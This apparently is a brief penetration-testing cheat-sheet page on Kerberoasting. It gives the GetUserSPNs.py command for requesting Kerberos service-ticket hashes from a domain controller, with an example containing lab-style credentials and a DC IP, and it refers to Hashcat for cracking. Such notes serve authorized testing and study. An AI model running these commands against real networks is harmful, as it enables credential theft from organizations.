Kerberoasting

Capturing Kerberos Hash - GetUserSPNS.py

Syntax: sudo GetUserSPNs.py [Domain]/[Username]:[Password] -dc-ip [DC IP] -request

sudo GetUserSPNs.py alterave.local/jjones:buyme_200sx -dc-ip 172.16.1.100 -request
GetUserSPNs.py

Cracking Kerberos Hash

Refer to the Hashcat page under Password Cracking section: Kerberos Hash (KRB5)

Last updated